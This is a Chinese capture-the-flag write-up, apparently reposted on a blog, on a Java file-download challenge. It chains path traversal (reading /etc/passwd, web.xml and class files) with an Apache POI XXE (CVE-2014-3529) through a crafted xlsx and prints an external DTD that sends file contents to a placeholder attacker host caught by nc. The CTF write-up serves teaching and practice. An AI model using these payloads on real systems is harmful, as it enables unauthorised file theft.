flag{网鼎杯之java代码审计入门} - file-in-java[ctf]

一、赛题截图

image-20230730181311006

二、接口测试

  1. 我们先上传文件抓包,发送到repeter

    image-20230730181727635

    响应如下

    截屏2023-07-30 18.27.06

  2. 我们使用下载接口去下载一个不存在的文件,回显“资源被删除”

    image-20230730182626919

    - 说明系统可能去查找了这个文件,那我们能不能去下载/etc/passwd文件,但是还不知道相对路径是啥

三、任意文件读取漏洞验证

  • 那我们去测试一下下载文件夹

    image-20230731013406841

  • 我们根据路径可以推测到/etc/passwd文件路径

    1. 上传文件的路径为
    /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/上传文件名
    ​
    2. 那/etc目录是跟/usr一层级的,上图有九层目录,应该回退九层
    /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/../../../../../../../../../etc/passwd
    ​
    3. 则我们下载文件的参数应该为
    ../../../../../../../../../etc/passwd
  • 根据上面推理构造请求,成功获取/etc/passwd文件内容,yeah

    image-20230730184024947

  1. 拿到了/etc/passwd的文件内容有什么用,怎么才能getshell啊

    通过上面的一些测试,我们可以知道任意文件下载的漏洞存在该系统, 上传shell也无法执行

    那我们只能看看能不能拿到源码审计看看了

  • 通过暴露的上传文件存储的路径得知web服务器为tomcat

    /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/

  • 前置知识

    Tomcat的web.xml是一个XML文件,用于配置Web应用程序的部署信息和其他相关配置。 它通常位于Web应用程序的WEB-INF目录下。 web.xml文件中包含了大量的配置信息,其中最重要的是Web应用程序的servlet、过滤器和监听器等组件的配置,是tomcat的核心配置文件。

  • 读取web.xml文件,可以看到有三个接口类

    image-20230730193751174

  • 拿到接口class文件,根据tomca结构,我们知道class文件都在WEB-INF目录下

    构造路径../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/具体类路径,成功获取文件内容

    image-20230730195933666

  • 浏览器通过下载三个类文件,如下图所示

    image-20230730200123970

四、代码审计

idea打开这几个class文件

  • 查找flag关键词,文件名只要包含flag字符就会被ban

    image-20230730201346435

  • 看看其他文件有没有能够下手的地方

    • ListFileServlet.class文件,只是返回保存的文件名作用,应该是通过上传接口完成之后调用的

      image-20230730201850058

    • 仅剩UploadServlet接口了,发现可疑的一段代码,里面提到了xlsx文件格式,好像做了不一样的处理

      image-20230730202234209

      我们让chatgpt给我们解释一下代码啥意思啊!

      首先说一句chatgpt真香啊

      关注图片标红部分,说明我们要通过一个excel-xx.xlsx文件利用apache poi库搞事情

      image-20230730202533041

五、Apache POI库漏洞利用

Apache POI 简介是用Java编写的免费开源的跨平台的 Java API,Apache POI提供API给Java程式对Microsoft Office(Excel、WORD、PowerPoint、Visio等)格式档案读和写的功能

  • 即然用到了POI库,那我们看看这个库是否有漏洞存在!代码中给出的POI库版本为3.10,是否有漏洞,google一下你就知道

    CVE-2014-3529       apache poi 在3.10.1之前存在XXE漏洞
  • 复现CVE-2014-3529

    • 新建一个excel文件并解压(linux unzip命令即可解压 ‘.xlsx’ 文件)

      mkdir tmp_excel       //新建一个目录存放解压后的文件目录
      touch 1.xlsx           //新建一个excel文件
      unzip 1.xlsx  -d tmp_excel      //解压到指定目录
      cd tmp_excel                    //进入目录
      ls                              //查看解压后的文件

      解压后的效果如下图所示:

      截屏2023-07-30 21.36.45

    • 在[Content_Types].xml文件中添加payload,(在第一句和第二句中间添加下面给出的payload)

    payload解释

    代码中的实体 remote 定义了一个外部实体,其系统标识符(System Identifier)为 "http://your-remote-ip/file.dtd"。然后,通过 %remote; 引用了这个实体,将其包含到当前XML文档中。然后通过该外部实体 %int;%send; 执行一些操作

     <!DOCTYPE convert [<!ENTITY % remote SYSTEM "http://you-remote-ip/file.dtd">%remote;%int;%send;]>

    效果如图所示

    截屏2023-07-30 21.23.33

    • 打包回xlsx文件,根据前面的代码分析,文件名得为excel-x.xlsx

      zip excel-1.xlsx ./*
    • 去我们的远程服务器编辑一个file.dtd

      payload解释

      1. %file 定义了一个实体,通过 file:///flag 指定为一个文件路径。读取本地文件系统上的 flag 文件。

      2. %int 定义了另一个实体,通过 http://your-ip:port?popko=%file; 将读取到的文件内容发送给指定的IP地址和端口,我们通过nc在该ip所在服务器上监听这里指定的端口。

      3. 目的是读取 flag 文件,并将其内容发送到指定的服务器上。

      <!ENTITY % file SYSTEM "file:///flag">
      <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://your-ip:port?popko=%file;'>">

      远程服务器80端口启动http服务,使通过http://your-remote-ip/file.dtd能访问到file.dtd资源

    • nc监听端口,准备接受flag文件内容

      nc -lvvnp port        //port为你file.dtd里指定的端口
  • 上传xlsx文件测试

    image-20230731013600470

    http服务成功接收到file.dtd的请求

    image-20230730220550321

    nc成功收到flag文件的内容

    image-20230730220348251

六、总结

  • 任意文件下载(读取)

  • Apache POI XXE

脚踏实地的每天进步一点点,不跟别人相比,只超越自己就够了。

如果你觉得还不错,欢迎关注公众号

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/15675.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【使用机器学习和深度学习对城市声音进行分类】基于两种技术(ML和DL)对音频数据(城市声音)进行分类(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

AttributeError: ‘DataFrame‘ object has no attribute ‘iteritems‘解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

程序设计 算法基础

✅作者简介&#xff1a;人工智能专业本科在读&#xff0c;喜欢计算机与编程&#xff0c;写博客记录自己的学习历程。 &#x1f34e;个人主页&#xff1a;小嗷犬的个人主页 &#x1f34a;个人网站&#xff1a;小嗷犬的技术小站 &#x1f96d;个人信条&#xff1a;为天地立心&…

纯JS+Vue实现一个仪表盘

在使用canvas的时候发现数值变化&#xff0c;每次都要重新渲染&#xff0c;值都从0开始&#xff0c;这和我的需求冲突。 1. 先绘制基本的圆环背景&#xff0c;利用border-color和border-radius将正方形变成基本的圆环。 <div class"circle"><div class&qu…

vue3如何封装框架

在Vue 3中&#xff0c;你可以通过创建一个基础的框架来封装一些常用的功能、组件和样式&#xff0c;以便在不同的项目中重复使用。下面是一个简单的步骤来封装一个Vue 3框架&#xff1a; 创建一个新的Vue项目&#xff1a;首先&#xff0c;使用Vue CLI创建一个新的Vue项目。 v…

试试这三款音频转换格式软件,看看可不可以转换mp3?

你是不是不知道音频转换格式有什么用呢&#xff1f;为什么要音频转换呢&#xff1f; 其实音频转换格式的原因是&#xff1a; ①兼容性问题&#xff1a;不同的设备支持不同的音频格式&#xff0c;如果你想在不同设备之间共享音频文件的话&#xff0c;那么需要将文件转换另一种…

CSDN如何输入公式

方法分三步&#xff1a; 1&#xff09;预先设置MathType的复制剪切选项 2&#xff09;将MathType已经编写好的公式复制到CSDN 3&#xff09;把复制的公式文本&#xff0c;首尾的“\[”和“\]”符号替换成“$$”和“$$” 1&#xff09;预先设置MathType的复制剪切选项 2&#x…

java实现文件下载

1.文件上传 文件上传&#xff0c;也称为upload&#xff0c;是指将本地图片、视频、音频等文件上传到服务器上&#xff0c;可以供其他用户浏览或下载的过程。文件上传在项目中应用非常广泛&#xff0c;我们经常发微博、发微信朋友圈都用到了文件上传功能。 import com.itheima.…

打印Winfrom控件实现简陋版的打印(C#)

本文在前面写的博文基础上进行修改&#xff1a;利用Graphics的CopyFromScreen实现简陋版的打印(C#)_zxy2847225301的博客-CSDN博客 通过截图的方式进行打印在前面的文章后面已经介绍过&#xff0c;有问题。 UI布局如下&#xff1a; 代码如下&#xff1a; using System; using…

使用Jetpack Compose和Motion Layout创建交互式UI

使用Jetpack Compose和Motion Layout创建交互式UI 通过阅读本博客&#xff0c;您将学会使用Motion Layout实现这种精致的动画效果&#xff1a; 让我们从简单的介绍开始。 介绍 作为Android开发者&#xff0c;您可能会遇到需要布局动画的情况&#xff0c;有时甚至需要变形样…

具身智能controller---RT-1(Robotics Transformer)(中---实验介绍)

6 实验 实验目的是验证以下几个问题: RT-1可以学习大规模指令数据&#xff0c;并且可以在新任务、对象和环境上实现zero-shot的泛化能力&#xff1f;训练好的模型可以进一步混合多种其他数据&#xff08;比如仿真数据和来自其他机器人的数据&#xff09;吗&#xff1f;多种方…

远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制

目录 一、前言 二、远程控制中的安全威胁 三、国内外远控软件安全机制 【ToDesk】 【RayLink】 【Teamviewer】 【Splashtop】 四、安全远控预防 一、前言 近期&#xff0c;远程控制话题再一次引起关注。 据相关新闻报道&#xff0c;不少不法分子利用远程控制软件实施网络诈骗&…

灵雀云Alauda MLOps 现已支持 Meta LLaMA 2 全系列模型

在人工智能和机器学习领域&#xff0c;语言模型的发展一直是企业关注的焦点。然而&#xff0c;由于硬件成本和资源需求的挑战&#xff0c;许多企业在应用大模型时仍然面临着一定的困难。为了帮助企业更好地应对上述挑战&#xff0c;灵雀云于近日宣布&#xff0c;企业可通过Alau…

HTSA101伺服流量阀放大器

电液伺服阀放大器HTSA101特点&#xff1a; 可用拨码方式选择比例、积分(PI)控制前面板有电源、阀电流和继电器指示灯可开关选择阀电流的输出电流范围可选输出电流或者电压信号来匹配伺服阀或者比例阀采用标准 DIN rail 规格带有颤振信号、颤振信号的幅值和频率可调标准的DIN 导…

Qt应用开发(基础篇)——布局管理Layout Management

目录 一、前言 二&#xff1a;相关类 三、水平、垂直、网格和表单布局 四、尺寸策略 一、前言 在实际项目开发中&#xff0c;经常需要使用到布局&#xff0c;让控件自动排列&#xff0c;不仅节省控件还易于管控。Qt布局系统提供了一种简单而强大的方式来自动布局小部件中的…

Windows驱动开发

开发Windows驱动程序时&#xff0c;debug比较困难&#xff0c;并且程序容易导致系统崩溃&#xff0c;这时可以使用Virtual Box进行程序调试&#xff0c;用WinDbg在主机上进行调试。 需要使用的工具&#xff1a; Virtual Box&#xff1a;用于安装虚拟机系统&#xff0c;用于运…

Github Copilot在JetBrains软件中登录Github失败的解决方案

背景 我在成功通过了Github Copilot的学生认证之后&#xff0c;在VS Code和PyCharm中安装了Github Copilot插件&#xff0c;但在PyCharm中插件出现了问题&#xff0c;在登录Github时会一直Retrieving Github Device Code&#xff0c;最终登录失败。 我尝试了网上修改DNS&…

PLC1200使用CB1241RS485通讯模块做从站进行Modbus Rtu通信

1、接口及协议 通信接口&#xff1a;RS485 数据位&#xff1a;8个 奇偶校验位&#xff1a;无 停止位&#xff1a;1个 波特率&#xff1a;9600 输出编码格式&#xff1a;ModbusRTU 2、设备组态 添加新设备&#xff08;PLC&#xff09;->设备和网络管理->点击PLC-&…

音频转文字软件免费版让你快速完成转换

音频转文字技术是一种将音频文件转换为文本形式的技术&#xff0c;它可以帮助人们更方便地获取和处理音频信息。在实际生活和工作中&#xff0c;我们可能会遇到需要将音频转换为文字的情况&#xff0c;比如听取会议录音、收听讲座、学习外语等等。那么&#xff0c;你知道音频转…

计算机网络——传输层

文章目录 **1 传输层提供的服务****1.1 传输层的功能****1.2 传输层的寻址与端口** **2 UDP协议****2.1 UDP数据报****2.2 UDP校验** **3 TCP协议****3.1 TCP协议的特点****3.2 TCP报文段****3.3 TCP连接管理****3.4 TCP可靠传输****3.5 TCP流量控制****3.6 TCP拥塞控制** 1 传…